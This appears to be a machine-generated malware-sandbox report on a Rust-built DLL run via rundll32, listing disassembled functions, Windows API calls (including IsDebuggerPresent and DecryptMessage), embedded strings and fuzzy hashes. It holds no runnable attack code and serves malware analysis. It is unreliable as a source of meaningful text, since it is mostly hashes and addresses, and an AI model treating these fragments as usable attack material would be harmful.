Opcode Fuzzy Hash: 2022b05e2a3b91de7d766059ac99ef3308ccb344827c2e837419e2e4a18ff77e
Instruction Fuzzy Hash: EB424671A087808FD761CF24C484BDEB7E1BF89314F05896EE9899B351DB71A849CB92

Function 6CBDDCEB Relevance: 10.6, APIs: 8, Instructions: 560COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,000000C0), ref: 6CBDD587
memmove.VCRUNTIME140(?,?,000000C0), ref: 6CBDD5A8
memmove.VCRUNTIME140(?,?,0000007A), ref: 6CBDDE22
memmove.VCRUNTIME140(?,?,0000007A), ref: 6CBDDE50

Part of subcall function 6CBACCB0: memmove.VCRUNTIME140(?,?,00000000), ref: 6CBACD09

memmove.VCRUNTIME140(?,?,00000098), ref: 6CBDDECB
memmove.VCRUNTIME140(?,?,000000D8), ref: 6CBDE121
memmove.VCRUNTIME140(?,?,000000D8), ref: 6CBDE27B
memmove.VCRUNTIME140(00000100,?,000000D8), ref: 6CBDE45F

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 2beecba5f79dcd21d48820e535a36d78e858c8a04d6a6d8183679c76a0868d15
Instruction ID: eb9f57cc33c2b1eeb7d8ff834b14ee282af1d6fae314236a8ba8ee7bf8eeb406
Opcode Fuzzy Hash: 2beecba5f79dcd21d48820e535a36d78e858c8a04d6a6d8183679c76a0868d15
Instruction Fuzzy Hash: C3424871A087808FD725CF24C484BDEB7E1FF89314F05896EE9899B751DB70A849CB92

Function 6CBDDC7A Relevance: 10.5, APIs: 8, Instructions: 549COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,0000007A), ref: 6CBDDE22
memmove.VCRUNTIME140(?,?,0000007A), ref: 6CBDDE50
memmove.VCRUNTIME140(?,?,00000098), ref: 6CBDDECB
memmove.VCRUNTIME140(?,?,000000D8), ref: 6CBDE121
memmove.VCRUNTIME140(?,?,000000D8), ref: 6CBDE27B

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: bae67dcf9ba4cedb9ff0fb25473f382c9c0b1719cc12374b9251abf4304f1519
Instruction ID: 28d0491a719c68f7155e4afd27d3961f43a7b3086ae547fe91e3b8df2da56337
Opcode Fuzzy Hash: bae67dcf9ba4cedb9ff0fb25473f382c9c0b1719cc12374b9251abf4304f1519
Instruction Fuzzy Hash: 6F424771A087808FD761CF24C484BDEB7E1FF89314F05896EE9899B351DB71A849CB92

Function 6CBAB537 Relevance: 9.6, APIs: 1, Strings: 5, Instructions: 570COMMON

Download Yara Rule

APIs

Part of subcall function 6CBEFDD0: QueryPerformanceCounter.KERNEL32 ref: 6CBEFE15
Part of subcall function 6CBEFDD0: QueryPerformanceFrequency.KERNEL32 ref: 6CBEFE5C
Part of subcall function 6CBEFDD0: __aulldiv.LIBCMT ref: 6CBEFE97
Part of subcall function 6CBEFDD0: __aulldiv.LIBCMT ref: 6CBEFEF2
Part of subcall function 6CBEFDD0: __aulldiv.LIBCMT ref: 6CBEFF07

Part of subcall function 6CB95841: WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0(?,?,6CB95223,?,00000000,?,6CC5CEDC,6CC5D1B8), ref: 6CB9585E

memmove.VCRUNTIME140(?,?,00000380), ref: 6CBABDF2

Strings

internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs, xrefs: 6CBABE84
bdp enabled implies bytes, xrefs: 6CBABE96
called `Result::unwrap()` on an `Err` value, xrefs: 6CBABE6C
Map must not be polled after it returned `Poll::Ready`, xrefs: 6CBABE43
pong received implies ping_sent_at, xrefs: 6CBAB7E7

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: __aulldiv$PerformanceQuery$AddressCounterFrequencySingleWakememmove
String ID: Map must not be polled after it returned `Poll::Ready`$bdp enabled implies bytes$called `Result::unwrap()` on an `Err` value$internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs$pong received implies ping_sent_at
API String ID: 1828637350-3761593303
Opcode ID: 1638af9d58b48404c957924f467180b6f947adbe8198a3b4b41492e3de50a343
Instruction ID: f03e3773dcb503681f65acc4ca36b007b6b2b380e37d89aa8d9f7db94b4a4d4c
Opcode Fuzzy Hash: 1638af9d58b48404c957924f467180b6f947adbe8198a3b4b41492e3de50a343
Instruction Fuzzy Hash: AA42B230609B869FC71ACF74C49079AF7B1FF85348F008A1DE4A95B751DB31A95ACB82

Function 6CC016E3 Relevance: 9.1, APIs: 6, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000001), ref: 6CC016EF
memset.VCRUNTIME140(?,00000000,00000003), ref: 6CC01715
memset.VCRUNTIME140(?,00000000,00000050), ref: 6CC0179F
IsDebuggerPresent.KERNEL32 ref: 6CC017BB
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6CC017D4
UnhandledExceptionFilter.KERNEL32(?), ref: 6CC017DE

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$DebuggerFeatureProcessor
String ID:
API String ID: 1045392073-0
Opcode ID: 8a269c96bcd4ae6ed9a31a618c256806d5c430bd9166b2d5f0aaec5fa96ab714
Instruction ID: 7630921f78e394f9f233fc1e056cdbcfde9a2bed9f6e68d1695156e06624f082
Opcode Fuzzy Hash: 8a269c96bcd4ae6ed9a31a618c256806d5c430bd9166b2d5f0aaec5fa96ab714
Instruction Fuzzy Hash: 0C31DB75E052289BDF11DF69C9497CDBBF8AF08348F1041DAE40DAB250EB719A85CF45

Function 6CBA2D0F Relevance: 8.3, APIs: 1, Strings: 4, Instructions: 755COMMON

Download Yara Rule

Strings

pool is disabledBadScheme, xrefs: 6CBA34FB
assertion failed: Pin::new(&mut rx).poll(cx).is_pending(), xrefs: 6CBA38DC
request has been canceled, xrefs: 6CBA2D85
called `Result::unwrap()` on an `Err` value, xrefs: 6CBA38B6

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID: assertion failed: Pin::new(&mut rx).poll(cx).is_pending()$called `Result::unwrap()` on an `Err` value$pool is disabledBadScheme$request has been canceled
API String ID: 0-3394898113
Opcode ID: 8dc2c8dc086eae19be723bc54290d67032402586e14e2d011bb5e06463b1e88c
Instruction ID: 6121cd823596b8fb5e84c6a9fdcb56140938bd5c3df33e23a84218c310d067d2
Opcode Fuzzy Hash: 8dc2c8dc086eae19be723bc54290d67032402586e14e2d011bb5e06463b1e88c
Instruction Fuzzy Hash: 59723735909B818FC725CF69C48069AB7F1FFCA344F148A1EE8C95B651EB31D986CB42

Function 6CB8DD45 Relevance: 8.1, APIs: 5, Instructions: 608COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?), ref: 6CB8DF4A
memmove.VCRUNTIME140(?,?,?), ref: 6CB8E0B3
__aulldiv.LIBCMT ref: 6CB8E27D

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove$__aulldiv
String ID:
API String ID: 3540790784-0
Opcode ID: 554521f18d188c2fe52e9b28331c6878334f267036f1e889e47ca4db2c462daa
Instruction ID: a166bf9f22a44bded8bc1096f58fc5b18e582b8a15455b76c17e38a48a32fe37
Opcode Fuzzy Hash: 554521f18d188c2fe52e9b28331c6878334f267036f1e889e47ca4db2c462daa
Instruction Fuzzy Hash: 8A329C366083559FC714CF58C880A5EB7E2EFC9314F598A2EE89597395E731EC05CB82

Function 6CBF9BE5 Relevance: 7.9, APIs: 5, Instructions: 378COMMON

Download Yara Rule

APIs

CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000,?,?,00000001,?,6CBD9DB2), ref: 6CBF9C14
GetLastError.KERNEL32(?,00000001,?,6CBD9DB2), ref: 6CBF9D84

Part of subcall function 6CB65AD0: RtlFreeHeap.NTDLL(00000000,?,6CBE7E44), ref: 6CB65AE1

memmove.VCRUNTIME140(?,?,00000200), ref: 6CBF9EEC
memmove.VCRUNTIME140(?,?,00000200), ref: 6CBF9F0F
memmove.VCRUNTIME140(00000000,?,00000C60,?,?,00000001,?,6CBD9DB2), ref: 6CBF9F52

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove$CompletionCreateErrorFreeHeapLastPort
String ID:
API String ID: 1220240363-0
Opcode ID: 292f82b729f0733a2dbe0ff5f5c6e80a90fef5ac2715693e27e98d229eb5f1be
Instruction ID: 4a94197d3468d726c13774deb5e702b280d014843a017f99ab793847042e0d21
Opcode Fuzzy Hash: 292f82b729f0733a2dbe0ff5f5c6e80a90fef5ac2715693e27e98d229eb5f1be
Instruction Fuzzy Hash: 3AF169B1A08B508FD324CF29C44075BB7E1FF89714F108A2EE5999B791DB71E849CB86

Function 6CBE8780 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,6CBE859F,?,00001000,?,?,6CBE8025,?,6CBE859F,?,?), ref: 6CBE87F9
WriteConsoleW.KERNEL32(?,?,00000000,00000000,00000000,?,6CBE859F), ref: 6CBE8829
WriteConsoleW.KERNEL32(?,?,00000001,6CBE859F,00000000,?,6CBE859F), ref: 6CBE887A
GetLastError.KERNEL32(?,6CBE859F), ref: 6CBE8AA3

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: ConsoleWrite$ByteCharErrorLastMultiWide
String ID:
API String ID: 3036337926-0
Opcode ID: ff478ff939de7895b4797555e1b08ae5d8fde7a0a9ccde48b0145a38165974ec
Instruction ID: 1c3d076be2e6a33b3ac155ce32aea73ab3723181eae7a2950f47ca385de79808
Opcode Fuzzy Hash: ff478ff939de7895b4797555e1b08ae5d8fde7a0a9ccde48b0145a38165974ec
Instruction Fuzzy Hash: 5BA14830A24B919AE7028F7CC44176AB774EFDA788F14D72EF98472D81FB7285858345

Function 6CB6BDB1 Relevance: 7.6, Strings: 6, Instructions: 129COMMON

Download Yara Rule

Strings

{, xrefs: 6CB6BF89
{, xrefs: 6CB6BE8A
}, xrefs: 6CB6BF7E
\u, xrefs: 6CB6BE83
\u, xrefs: 6CB6BF82
}, xrefs: 6CB6BE7F

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID: \u$\u${${$}$}
API String ID: 0-582841131
Opcode ID: 55684a1cd47d026867eea2edf5f39cf33031e2aa0d0d6276a0e3687a2d03d039
Instruction ID: d20dcfd5680c04ceb73563c32fc721dee422ab4aec1bb1faf6c12f3787ac9338
Opcode Fuzzy Hash: 55684a1cd47d026867eea2edf5f39cf33031e2aa0d0d6276a0e3687a2d03d039
Instruction Fuzzy Hash: 24515B23D09BDA86C7018B6984102DEFFF29FE6214F1D81DAD4D81F782C33A4696D3A5

Function 6CBE347E Relevance: 7.6, Strings: 6, Instructions: 121COMMON

Download Yara Rule

Strings

{, xrefs: 6CBE3550
\u, xrefs: 6CBE3637
{, xrefs: 6CBE363E
\u, xrefs: 6CBE3549
}, xrefs: 6CBE3633
}, xrefs: 6CBE3545

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID: \u$\u${${$}$}
API String ID: 0-582841131
Opcode ID: 0773837b7737a32c24d7a6dbf0c427d4ad29ffe518d3294d2171eb1389707c93
Instruction ID: 1f0ec0dc401952b6dd7cf741c806115660134a1d83547600f252642e8723c5db
Opcode Fuzzy Hash: 0773837b7737a32c24d7a6dbf0c427d4ad29ffe518d3294d2171eb1389707c93
Instruction Fuzzy Hash: E1415B63D097CA86C7018B7984212EEBFF25FDA214F2D81DAC4D81F382C3398596D3A5

Function 6CC0130C Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000001), ref: 6CC0131E
GetCurrentThreadId.KERNEL32 ref: 6CC0132D
GetCurrentProcessId.KERNEL32 ref: 6CC01336
QueryPerformanceCounter.KERNEL32(?), ref: 6CC01343

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 0b6676d97ee8b7ca0376cdbabb985b2c9925697878eeb3db7fec28f17fa8fcac
Instruction ID: 7f2dcbd6a8dec22eace8ef1e8dcfe1a5d0763927f83f17676734116e0715164f
Opcode Fuzzy Hash: 0b6676d97ee8b7ca0376cdbabb985b2c9925697878eeb3db7fec28f17fa8fcac
Instruction Fuzzy Hash: 74F06274E5060DEBCF00DFB4C58999EBBF4FF1D204B928599A812E7101E735AB85DB50

Function 6CBA5674 Relevance: 6.0, APIs: 1, Strings: 2, Instructions: 773COMMON

Download Yara Rule

APIs

Part of subcall function 6CBEFDD0: QueryPerformanceCounter.KERNEL32 ref: 6CBEFE15
Part of subcall function 6CBEFDD0: QueryPerformanceFrequency.KERNEL32 ref: 6CBEFE5C
Part of subcall function 6CBEFDD0: __aulldiv.LIBCMT ref: 6CBEFE97
Part of subcall function 6CBEFDD0: __aulldiv.LIBCMT ref: 6CBEFEF2
Part of subcall function 6CBEFDD0: __aulldiv.LIBCMT ref: 6CBEFF07

__aulldiv.LIBCMT ref: 6CBA5FED

Strings

too much time has elapsed since the interval was supposed to tick, xrefs: 6CBA60E8
overflow when subtracting duration from instant, xrefs: 6CBA60D6

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: __aulldiv$PerformanceQuery$CounterFrequency
String ID: overflow when subtracting duration from instant$too much time has elapsed since the interval was supposed to tick
API String ID: 2403592835-2340278003
Opcode ID: a102e6c4e86cff3c36b9da4c17f02aa3ec6d5c5c57ef850914ed051e206d645a
Instruction ID: 8f990ce5bf97b2a45aea88d7018b80e2401ff67bd325ad895b88c01a29890f53
Opcode Fuzzy Hash: a102e6c4e86cff3c36b9da4c17f02aa3ec6d5c5c57ef850914ed051e206d645a
Instruction Fuzzy Hash: 07622772A083808FD318CF69C89075AFBE2EFC8314F158A2EE5D997750D77598458B82

Function 6CBD9840 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 250windowCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBD9B05: memset.VCRUNTIME140(00000000,00000000,?,?,?,?,6CBD985C), ref: 6CBD9B28

DecryptMessage.SECUR32(?,?,00000000,00000000), ref: 6CBD9955

Part of subcall function 6CB8885A: memmove.VCRUNTIME140(?,?,?,?,?,?,6CB8C2F6,?,?,6CBD460C,?,6CBD463F), ref: 6CB88883

Part of subcall function 6CBE6438: memmove.VCRUNTIME140(?,?,?,?,6CBD5878,?,?,?,?,6CBD55AB), ref: 6CBE64C5

Strings

assertion failed: pos <= self.dec_in.get_ref().len() as u64, xrefs: 6CBD9AF6

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove$DecryptMessagememset
String ID: assertion failed: pos <= self.dec_in.get_ref().len() as u64
API String ID: 522839164-2093299206
Opcode ID: aad079ba67e63a99c08fd7309906d5446f9eb6f85b495d773c5806e14180a8c0
Instruction ID: 3ef2dd29d57192efc8dc993bfce490423935ec3c997850eeccbed038ded10383
Opcode Fuzzy Hash: aad079ba67e63a99c08fd7309906d5446f9eb6f85b495d773c5806e14180a8c0
Instruction Fuzzy Hash: 26919C71A087809FD314DF6AC490B5BB7E1EF89318F11892DE59987B50EB71F889CB42

Function 6CB8EE05 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,00000000,00000094), ref: 6CB8EF43
memmove.VCRUNTIME140(?,?,00000094), ref: 6CB8EF6A

Strings

internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs, xrefs: 6CB902B6

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs
API String ID: 2162964266-2861346101
Opcode ID: c8f1898e59e2a60ccb97ca19652e5bc4873b984f872adab7a91e0c48bc7a982d
Instruction ID: 1797a0e9cb8ade2b048628232e6ac1372af48d8462b15544105a4f7d044f34e4
Opcode Fuzzy Hash: c8f1898e59e2a60ccb97ca19652e5bc4873b984f872adab7a91e0c48bc7a982d
Instruction Fuzzy Hash: 5B824A75A0A3818FD724CF18C480BDEB7E5EFD9314F148A2EE89897750D774A985CB82

Function 6CB9255C Relevance: 4.9, APIs: 3, Instructions: 364COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB9257B
memmove.VCRUNTIME140(?,?,?), ref: 6CB92890
memmove.VCRUNTIME140(?,?,?,00000000,?,00000000), ref: 6CB928F4

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove$__aulldiv
String ID:
API String ID: 3540790784-0
Opcode ID: 72667a2dfde476c3bd957ccb183ae154f6491e5475994a5f3ca1d1de94f3ee59
Instruction ID: 66117a2ce3bac322f33e6fac64ab95d169a6fc049fd335b0114e7c77db855405
Opcode Fuzzy Hash: 72667a2dfde476c3bd957ccb183ae154f6491e5475994a5f3ca1d1de94f3ee59
Instruction Fuzzy Hash: F7D1C232A083419FD724DF28C8946AEB7E2EFCA314F55893DE48997750DA30EC458B87

Function 6CBC4719 Relevance: 4.4, Strings: 3, Instructions: 618COMMON

Download Yara Rule

Strings

internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs, xrefs: 6CBC4EF7
mut const ; dyn + unsafe extern ", xrefs: 6CBC4788
:, xrefs: 6CBC4BCA

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: mut const ; dyn + unsafe extern "$:$internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs
API String ID: 2162964266-1873620769
Opcode ID: c368a78c8de836dc8b7686bbca57aed14968bd876312154c6ef23c936865e35b
Instruction ID: b7924b06b6e41ec44826668b3582d4f46bfe141c27270a087ea289205833e5d4
Opcode Fuzzy Hash: c368a78c8de836dc8b7686bbca57aed14968bd876312154c6ef23c936865e35b
Instruction Fuzzy Hash: 06326A716083919FD714CF28C490B6ABBE1AFC8314F25891DE8999BB51DB70E946CF82

Function 6CB854EF Relevance: 4.2, APIs: 3, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0f54cc63aa671a2c19d3f5b708820c9f8b679801bc9413d1a089d0fea8dc457
Instruction ID: 07a288c900780c7052f4dc8e2fc58b34a0bd1bb8053b0730633adc98691c4f54
Opcode Fuzzy Hash: e0f54cc63aa671a2c19d3f5b708820c9f8b679801bc9413d1a089d0fea8dc457
Instruction Fuzzy Hash: 69E1E273F19B144BE308CA59CC9131EB6D2EBD8350F0A8A3DE59AD3381DAB8CD058785

Function 6CBB0332 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 228windowCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBD9B05: memset.VCRUNTIME140(00000000,00000000,?,?,?,?,6CBD985C), ref: 6CBD9B28

DecryptMessage.SECUR32(?,?,00000000,00000000), ref: 6CBB0450

